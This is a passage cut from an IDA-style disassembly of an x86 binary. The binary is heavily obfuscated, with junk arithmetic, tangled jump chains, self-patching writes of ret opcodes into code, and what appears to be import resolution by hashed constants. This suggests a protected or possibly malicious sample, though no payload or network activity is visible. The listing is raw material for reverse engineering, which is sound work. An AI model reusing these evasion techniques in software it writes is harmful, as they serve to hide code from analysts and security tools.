		push	offset aLQiHcndSg ; "Q]hCD\x1B+\n"
		jmp	nullsub_195
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		mov	eax, 0D59435E2h
		call	sub_746E93
		mov	ds:off_41F074, eax
		lea	eax, sub_752FC5
		mov	byte ptr [eax],	0C3h
		jmp	sub_752FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_74EC1C:				; CODE XREF: sub_752FC5j
		pop	edx
		jmp	loc_753E72
; END OF FUNCTION CHUNK	FOR sub_752FC5

; =============== S U B	R O U T	I N E =======================================



sub_74EC22	proc near		; DATA XREF: _0z4jwtox:00754015o
		xchg	ebx, [esp+0]
		mov	edi, ebx
		pop	ebx
		and	edi, 308A7C22h
sub_74EC22	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_745911


loc_74EC2E:				; CODE XREF: sub_745911:loc_748973j
		add	edi, 8D226A1Fh
		add	edi, ebp
		push	offset loc_74529C
		jmp	loc_74DB83
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_74EC40:				; CODE XREF: sub_749010-A63j
		jp	loc_745DA2


loc_74EC46:				; CODE XREF: sub_749010:loc_74B2B0j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74F77B


loc_74EC52:				; CODE XREF: _0z4jwtox:00747522j
		jmp	loc_747211
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0CA98Ah, 1C97E900h, 0C7850000h, 606AE9h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C1D8


loc_74EC6A:				; CODE XREF: sub_74C1D8-4AFDj
		jmp	loc_74743C
; END OF FUNCTION CHUNK	FOR sub_74C1D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_74EC6F:				; CODE XREF: _0z4jwtox:loc_745D9Cj
					; sub_7473D1+B3B4j
		add	eax, ebp
		add	eax, 0C2D05804h
		mov	eax, [eax]
		mov	esp, ebp
		xchg	ecx, [esp+0]
		push	ecx
		jmp	loc_74E976
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------


loc_74EC84:				; CODE XREF: _0z4jwtox:0074FEA7j
		pop	ebx
		and	ebx, 76F55983h
		push	offset loc_749CAE
		jmp	loc_755DB2
; ---------------------------------------------------------------------------


loc_74EC95:				; CODE XREF: _0z4jwtox:0074B28Aj
		xchg	edi, [esp]
		push	0D5374CA7h
		pop	ebx
		add	ebx, 0ED1161AFh
		xor	ebx, 0F36FB6F0h
		or	ebx, 534B1041h
		sub	ebx, 48B918C6h
		add	ebx, 0D5BE866Ah
		jmp	loc_756C34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74ECC1:				; CODE XREF: sub_746640:loc_746645j
		mov	edi, [edi]
		popf
		cmp	eax, edi
		pop	edi
		jmp	loc_74545D
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7453AD


loc_74ECCC:				; CODE XREF: sub_7453AD+11016j
		not	eax
		mov	eax, ecx
		pushf
		jmp	loc_75025F
; END OF FUNCTION CHUNK	FOR sub_7453AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562F7


loc_74ECD6:				; CODE XREF: sub_7562F7-4430j
		jg	loc_74F93D
		pushf


loc_74ECDD:				; CODE XREF: sub_7562F7:loc_750EA8j
		mov	eax, 80F02D07h
		push	edx
		push	0CD9B95A1h
		pop	edx
		jmp	loc_74C934
; END OF FUNCTION CHUNK	FOR sub_7562F7
; ---------------------------------------------------------------------------


loc_74ECEE:				; CODE XREF: _0z4jwtox:0074AE41j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_74ECEF	proc near		; CODE XREF: sub_746640:loc_75129Ap

; FUNCTION CHUNK AT 00748374 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074A1DD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074AFEC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074B4D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BAFF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E78A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074FD93 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0075235F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075772D SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		movzx	eax, word ptr [ebp-6]
		push	0F0609F51h
		xchg	esi, [esp+0]
		jmp	loc_74B4D2
sub_74ECEF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74ED04:				; CODE XREF: sub_752D11-8084j
		xchg	ecx, [eax]
		ror	ecx, 2
		sbb	ebx, 40B2F89Bh
		jmp	loc_7510BB
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E7AE


loc_74ED14:				; CODE XREF: sub_74E7AE:loc_756E7Ej
		push	offset loc_7482C8
		jmp	sub_752904
; END OF FUNCTION CHUNK	FOR sub_74E7AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74ED1E:				; CODE XREF: sub_747C22+D894j
		jnz	loc_75234A
		cmp	ecx, 0AC4BA259h
		jmp	loc_74B7F4
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		jmp	ds:off_41F040
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CA64


loc_74ED35:				; CODE XREF: sub_74CA64+Cj
		jmp	loc_74E24E
; END OF FUNCTION CHUNK	FOR sub_74CA64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74ED3A:				; CODE XREF: _0z4jwtox:00745D34j
					; _0z4jwtox:007477D9j ...
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jns	loc_745D39
		mov	eax, [esp-4+arg_0]
		push	offset loc_745D19
		jmp	loc_753BCA
; END OF FUNCTION CHUNK	FOR sub_74CBCF

; =============== S U B	R O U T	I N E =======================================



sub_74ED53	proc near		; CODE XREF: _0z4jwtox:00750F59p
					; _0z4jwtox:00754437j

; FUNCTION CHUNK AT 007552D6 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_7552D6
sub_74ED53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74ED5F	proc near		; CODE XREF: sub_404ECE+24Dp
					; sub_406059+10Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007457F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007515F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007532F9 SIZE 00000011 BYTES

		push	eax
		mov	eax, ebx
		xchg	eax, [esp+4+var_4]
		push	689BA701h
		xchg	edx, [esp+8+var_8]
		jmp	loc_7457F8
sub_74ED5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_74ED72	proc near		; CODE XREF: _0z4jwtox:00747AA5j
					; sub_752957-3A0Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007552C0 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	eax, [esp-4+arg_0]
		push	offset loc_756D02
		jmp	loc_7552C0
sub_74ED72	endp


; =============== S U B	R O U T	I N E =======================================



sub_74ED83	proc near		; DATA XREF: sub_74A066+5o
		xchg	edi, [esp+0]
		jmp	sub_746E93
sub_74ED83	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74985C


loc_74ED8B:				; CODE XREF: sub_74985C:loc_751545j
		pushf
		jmp	loc_745F4B
; END OF FUNCTION CHUNK	FOR sub_74985C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75375E


loc_74ED92:				; CODE XREF: sub_75375E-6E53j
		jmp	nullsub_144
; END OF FUNCTION CHUNK	FOR sub_75375E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7451D9


loc_74ED97:				; CODE XREF: sub_7451D9+9j
		jmp	loc_749E1D
; END OF FUNCTION CHUNK	FOR sub_7451D9

; =============== S U B	R O U T	I N E =======================================



sub_74ED9C	proc near		; DATA XREF: _0z4jwtox:00748AFDo
		call	sub_746E93
		mov	ds:dword_41F03C, eax
		lea	eax, nullsub_207
		call	sub_74DBDF
sub_74ED9C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_74EDB2:				; CODE XREF: sub_74A71A+B80Ej
		jmp	loc_749AF8
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------


loc_74EDB7:				; CODE XREF: _0z4jwtox:00746963j
		or	ebx, esi
		cdq
		jz	loc_74D2E4
		jmp	loc_74C0DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DAAF


loc_74EDC5:				; CODE XREF: sub_74DAAF:loc_749558j
		mov	ecx, ebp
		xchg	ecx, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		call	sub_74A372


loc_74EDD2:				; CODE XREF: _0z4jwtox:00756D7Ej
		jmp	loc_74A679
; END OF FUNCTION CHUNK	FOR sub_74DAAF
; ---------------------------------------------------------------------------


loc_74EDD7:				; CODE XREF: _0z4jwtox:0074BCF2j
		jmp	loc_75491E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_74EDDC:				; CODE XREF: sub_752520:loc_747305j
		mov	ecx, 0E35F2833h
		pop	eax
		jmp	loc_748ADC
; END OF FUNCTION CHUNK	FOR sub_752520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CAC3


loc_74EDE7:				; CODE XREF: sub_74CAC3+22j
		mov	[edx], eax
		pop	edx
		call	sub_750887
; END OF FUNCTION CHUNK	FOR sub_74CAC3
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74EDEF:				; CODE XREF: sub_747736+C3C4j
		jmp	loc_751398
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------


loc_74EDF4:				; CODE XREF: _0z4jwtox:00750DAFj
		jmp	loc_752870
; ---------------------------------------------------------------------------


loc_74EDF9:				; CODE XREF: _0z4jwtox:0074F539j
		jmp	loc_753915
; ---------------------------------------------------------------------------


loc_74EDFE:				; CODE XREF: _0z4jwtox:0074AE62j
		jmp	loc_7550BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752B0C


loc_74EE03:				; CODE XREF: sub_752B0C-B862j
		add	edx, [ebp-4]
		add	eax, edx
		call	sub_7535B3


loc_74EE0D:				; CODE XREF: sub_7472C9+18j
		jmp	loc_74860F
; END OF FUNCTION CHUNK	FOR sub_752B0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_74EE12:				; CODE XREF: sub_756826-1930j
		shr	edi, 11h
		not	eax
		cmp	edx, 770214D5h
		jmp	loc_7450AA
; END OF FUNCTION CHUNK	FOR sub_756826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74EE22:				; CODE XREF: sub_7561AB-549Fj
		rol	eax, 1Ah
		and	eax, 0EC833D19h
		xor	eax, 0CBB4216Eh
		add	eax, ebp
		add	eax, 0D8C8E36Dh
		jmp	loc_7561B0
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_74EE3E:				; CODE XREF: sub_74EF6C-934Bj
					; sub_74A821+7j ...
		jmp	loc_747582
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74EF6C


loc_74EE43:				; CODE XREF: sub_74EF6C+3j
					; _0z4jwtox:007551EBj
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		call	sub_74A959
; END OF FUNCTION CHUNK	FOR sub_74EF6C
; START	OF FUNCTION CHUNK FOR sub_751078


loc_74EE4E:				; CODE XREF: sub_751078+Fj
		jmp	loc_753514
; END OF FUNCTION CHUNK	FOR sub_751078
; ---------------------------------------------------------------------------


loc_74EE53:				; CODE XREF: _0z4jwtox:0074D608j
		jmp	loc_74DACA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_74EE58:				; CODE XREF: sub_747A94+F89j
		jmp	loc_7481DD
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746FBD


loc_74EE5D:				; CODE XREF: sub_746FBD+11j
		jmp	loc_74EBCE
; END OF FUNCTION CHUNK	FOR sub_746FBD
; ---------------------------------------------------------------------------
		sbb	eax, 571DA464h
		jmp	sub_745CC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C4BB


loc_74EE6D:				; CODE XREF: sub_74C4BB-3D4Dj
		jl	loc_756153
		pop	ebp


loc_74EE74:				; CODE XREF: sub_74C4BB-3D5Aj
		xor	ebx, 9B9B4894h
		add	ebx, 58309619h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_749DE7
; END OF FUNCTION CHUNK	FOR sub_74C4BB
; ---------------------------------------------------------------------------


loc_74EE88:				; CODE XREF: _0z4jwtox:loc_75336Cj
		jz	loc_7534F4
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_74EE8E:				; CODE XREF: sub_7473E6+418Fj
		jmp	loc_74B48C
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------
		cdq
		shr	eax, 5
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74EE97:				; CODE XREF: sub_74D1F3:loc_74BE1Fj
		jmp	loc_7534F4
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_74EE9C:				; CODE XREF: sub_749306+4F7Dj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7554A3
		jmp	loc_748A83
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74EEAB:				; CODE XREF: sub_747C22-1F0Ej
		jp	loc_74B65A
		cmp	esi, edi
		jmp	loc_748F94
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_74EEB8:				; CODE XREF: _0z4jwtox:00747CA3j
					; _0z4jwtox:loc_74D73Aj
		sub	eax, 0F11F2737h
		xor	eax, 0DA81E3B7h
		push	edx
		mov	edx, esi
		jmp	loc_7493C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74EECC:				; CODE XREF: sub_7561AB-87E0j
		add	ebp, 8F3CE4F2h
		cdq
		xchg	esi, edx
		cmp	ebx, ebp
		jmp	loc_7544D8
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------


loc_74EEDC:				; CODE XREF: _0z4jwtox:0074DCD4j
		jp	loc_757442
		or	edx, ebx


loc_74EEE4:				; CODE XREF: _0z4jwtox:loc_74C9C2j
		call	sub_754FC6
		push	9E80B65Dh
		pop	edx
		or	edx, 39DB7F3Bh
		jmp	loc_749FAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E531


loc_74EEFB:				; CODE XREF: sub_74E531:loc_74F295j
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		or	edx, 7EB80A77h
		xor	edx, 1563029Ch
		jmp	loc_754E7A
; END OF FUNCTION CHUNK	FOR sub_74E531
; ---------------------------------------------------------------------------


loc_74EF12:				; CODE XREF: _0z4jwtox:0074ADE6j
		pop	ecx
		lea	eax, nullsub_191
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_191
; ---------------------------------------------------------------------------
		call	nullsub_252
		jmp	ds:dword_41F12C
; ---------------------------------------------------------------------------


loc_74EF2C:				; CODE XREF: _0z4jwtox:00751187j
		jbe	nullsub_195
; START	OF FUNCTION CHUNK FOR sub_748574


loc_74EF32:				; CODE XREF: sub_748574:loc_746CDDj
		rol	ecx, 2
		test	ecx, 4000000h
		jmp	loc_74937A
; END OF FUNCTION CHUNK	FOR sub_748574
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74EF41:				; CODE XREF: _0z4jwtox:00755F03j
		jmp	loc_7498FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_74EF46:				; CODE XREF: sub_752957-7C24j
		mov	eax, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		call	sub_74ED72


loc_74EF51:				; CODE XREF: sub_74FE55-8462j
		jmp	loc_7512B7
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74EF56:				; CODE XREF: sub_74FE55:loc_74A5DEj
		mov	esi, eax
		jmp	loc_756004
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_74EF5D:				; CODE XREF: sub_747A94:loc_7500A4j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_746194
		jmp	loc_74D2CD
; END OF FUNCTION CHUNK	FOR sub_747A94

; =============== S U B	R O U T	I N E =======================================



sub_74EF6C	proc near		; DATA XREF: sub_75216C+2o

; FUNCTION CHUNK AT 00745C13 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00749DE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CA07 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074EE43 SIZE 0000000B BYTES

		cmp	byte ptr [eax],	0F1h
		jnz	loc_74EE43
		jmp	loc_749DE2
sub_74EF6C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74EF7A:				; DATA XREF: sub_7559D8+Eo
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_752192
		jmp	loc_746438
; ---------------------------------------------------------------------------
		jnz	loc_756A8E
		jmp	sub_74E451
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570CA


loc_74EF96:				; CODE XREF: sub_7570CA:loc_75516Fj
		pop	eax
		add	eax, 40DBBF3Ah
		cmp	eax, 0C8B08F30h
		jmp	loc_747E9B
; END OF FUNCTION CHUNK	FOR sub_7570CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_74EFA8:				; CODE XREF: sub_755C10-1DFj
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnz	loc_751F8A
		sub	al, 99h
		push	0CB84C874h
		jmp	loc_74D07E
; END OF FUNCTION CHUNK	FOR sub_755C10
; ---------------------------------------------------------------------------


loc_74EFBF:				; CODE XREF: _0z4jwtox:0074F0F9j
		jz	loc_74CA7C
		adc	ebp, esi
		or	esi, 0E746DBD4h
		jmp	loc_74CA7C
; ---------------------------------------------------------------------------


loc_74EFD2:				; DATA XREF: sub_74952C-878o
		xchg	eax, [esp]
		jmp	loc_74DCA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_74EFDA:				; CODE XREF: sub_74BFE0+9D79j
		jnz	loc_74D06D
		jmp	loc_756587
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74EFE5:				; CODE XREF: sub_74FE55:loc_752308j
		push	edx
		call	sub_75740D
		mov	eax, 0BB931B55h
		call	sub_746E93
		mov	ds:off_41F0BC, eax
		lea	eax, loc_74D62C
		push	offset sub_7569BD
		jmp	loc_74D017
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745FE5


loc_74F00B:				; CODE XREF: sub_749115:loc_745C2Fj
					; sub_746DB9:loc_746DC8j ...
		call	sub_7514BF


loc_74F010:				; CODE XREF: sub_74C733+3238j
		jmp	sub_754E36
; END OF FUNCTION CHUNK	FOR sub_745FE5
; ---------------------------------------------------------------------------


loc_74F015:				; CODE XREF: _0z4jwtox:0074CD37j
		jmp	loc_74A008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_74F01A:				; CODE XREF: sub_755C38-AE3Bj
		jmp	loc_74B407
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BE45


loc_74F01F:				; CODE XREF: sub_74BE45:loc_746A62j
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_74FE2C
; END OF FUNCTION CHUNK	FOR sub_74BE45
; ---------------------------------------------------------------------------


loc_74F02F:				; CODE XREF: _0z4jwtox:loc_757629j
		jnz	loc_7532A3
		xchg	edx, [ebx]
		jbe	loc_756ECC
		cdq
		jmp	loc_74519A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_74F043:				; CODE XREF: sub_7473D1:loc_75745Aj
		mov	eax, [eax]
		add	eax, [ebp-4]
		push	offset loc_751F7D
		jmp	loc_7495C4
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74F052:				; CODE XREF: sub_7557E7:loc_746BFEj
					; sub_7557E7-EBD1j
		xor	eax, 0C9FC2468h
		call	sub_746E93
		mov	ds:dword_41F054, eax
		lea	eax, nullsub_10
		mov	byte ptr [eax],	0C3h
		jmp	loc_745F5A
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------


loc_74F071:				; CODE XREF: _0z4jwtox:0074A6ADj
		mov	eax, [esp]
		jmp	loc_7503D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570E0


loc_74F079:				; CODE XREF: sub_7570E0+22j
		call	sub_74BA29
		call	sub_74BA1A


loc_74F083:				; CODE XREF: _0z4jwtox:00757129j
		jmp	loc_746230
; END OF FUNCTION CHUNK	FOR sub_7570E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74F088:				; CODE XREF: sub_747C22+557Bj
		jmp	loc_74CFB7
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_74F08D	proc near		; CODE XREF: sub_7497C9+1p
					; _0z4jwtox:00756C59j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745D5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074639F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00748C8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749785 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074A5C4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074A81C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C7C5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075628C SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0B1802552h
		pop	esi
		sub	esi, 4BA5C706h
		rol	esi, 19h
		xor	esi, 4F292299h
		jmp	loc_74A5C4
sub_74F08D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B525


loc_74F0AB:				; CODE XREF: sub_74B525:loc_745502j
		push	offset loc_74BE31
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_74B525
; ---------------------------------------------------------------------------
		sbb	ebx, 3D123BDCh
		jmp	sub_74BFF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74F0C0:				; CODE XREF: sub_7557E7+179Ej
		mov	[ecx], eax
		pop	ecx
		lea	eax, loc_75763E
		mov	byte ptr [eax],	0C3h
		jmp	loc_74C02C
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------


loc_74F0D1:				; CODE XREF: _0z4jwtox:00753275j
		pop	ecx
		mov	eax, [ebp-4]
		mov	al, [eax]
		jnb	loc_7454C5
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_7539D0
; ---------------------------------------------------------------------------


loc_74F0E7:				; DATA XREF: sub_74B305+842Eo
		push	7C6D263Eh
		pop	ecx
		or	ecx, 0A43D8997h
		test	ecx, 1000h
		jmp	loc_74EFBF
; ---------------------------------------------------------------------------
		mov	ebx, 0D1909h
		and	edi, eax
		jmp	sub_748B7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74F10A:				; CODE XREF: sub_7474B9+E2ADj
		add	eax, 0F056A792h
		sbb	ebx, eax
		jmp	loc_74F6F3
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------


loc_74F117:				; CODE XREF: _0z4jwtox:loc_75140Ej
		sub	al, 99h
		push	0A3BE8579h
		jmp	loc_745A88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_74F123:				; CODE XREF: sub_747290+9910j
		add	eax, 0C7871644h
		push	ecx
		pushf
		push	744CB852h
		pop	ecx
		and	ecx, 0CFBA23A9h
		jmp	loc_756C74
; END OF FUNCTION CHUNK	FOR sub_747290

; =============== S U B	R O U T	I N E =======================================



sub_74F13C	proc near		; CODE XREF: sub_7475DD:loc_74CC1Ep
					; _0z4jwtox:0074D54Ej
		xchg	eax, [esp+0]
		pop	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_74F13C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74F144	proc near		; CODE XREF: _0z4jwtox:007539DAp
					; sub_7475DD+F54Bp
		mov	dword ptr [eax], 0
		retn
sub_74F144	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_300. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C8E


loc_74F14C:				; CODE XREF: sub_752C8E:loc_74E50Bj
		test	edx, 10h
		jmp	loc_750490
; END OF FUNCTION CHUNK	FOR sub_752C8E
; ---------------------------------------------------------------------------


loc_74F157:				; CODE XREF: _0z4jwtox:00751FE3j
		xor	edi, 0C9539875h

; =============== S U B	R O U T	I N E =======================================



sub_74F15D	proc near		; CODE XREF: sub_74B01A+5661p
					; sub_74E762+8BA7j

var_8		= dword	ptr -8
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 007452BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007466AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074991A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A3FA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074E5E6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074F560 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00750465 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00750912 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00751550 SIZE 00000005 BYTES

		xchg	eax, [esp+8+var_8]
		pop	eax
		pop	ebx


loc_74F162:				; CODE XREF: sub_74C670:loc_7520F1j
					; sub_747736:loc_754911j
		jnb	loc_750465
		mov	eax, [esp+0]
		jmp	loc_74A3FA
sub_74F15D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_74F170:				; CODE XREF: sub_74724C+7j
		add	edx, 877C0BAEh
		sub	edx, 16C6934Ah
		and	edx, 7D69B0A9h
		add	edx, 0C434F75Fh
		xchg	edx, [esp+4+var_4]
		jmp	loc_75078A
; END OF FUNCTION CHUNK	FOR sub_74724C
; ---------------------------------------------------------------------------
		push	6457FB99h
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		sub	eax, 89181220h
		jmp	loc_74F781
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74F1A6:				; CODE XREF: sub_749254:loc_74F290j
		push	eax
		mov	eax, edx
		xchg	eax, [esp+8+var_8]
		push	esi
		push	9D909592h
		pop	esi
		sub	esi, 8CC83B5Fh
		xor	esi, 0C1B752A1h
		jmp	loc_754ED9
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
		shl	ecx, 5
		jmp	sub_747968
; ---------------------------------------------------------------------------


loc_74F1CC:				; CODE XREF: _0z4jwtox:00750517j
		jz	loc_7524DD
		add	ebp, ecx
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_74F1D4:				; CODE XREF: sub_74AE46:loc_747477j
		rol	ecx, 1
		add	ecx, 3C79A5C1h
		xor	ecx, 827A0ECCh
		jmp	loc_74FAC9
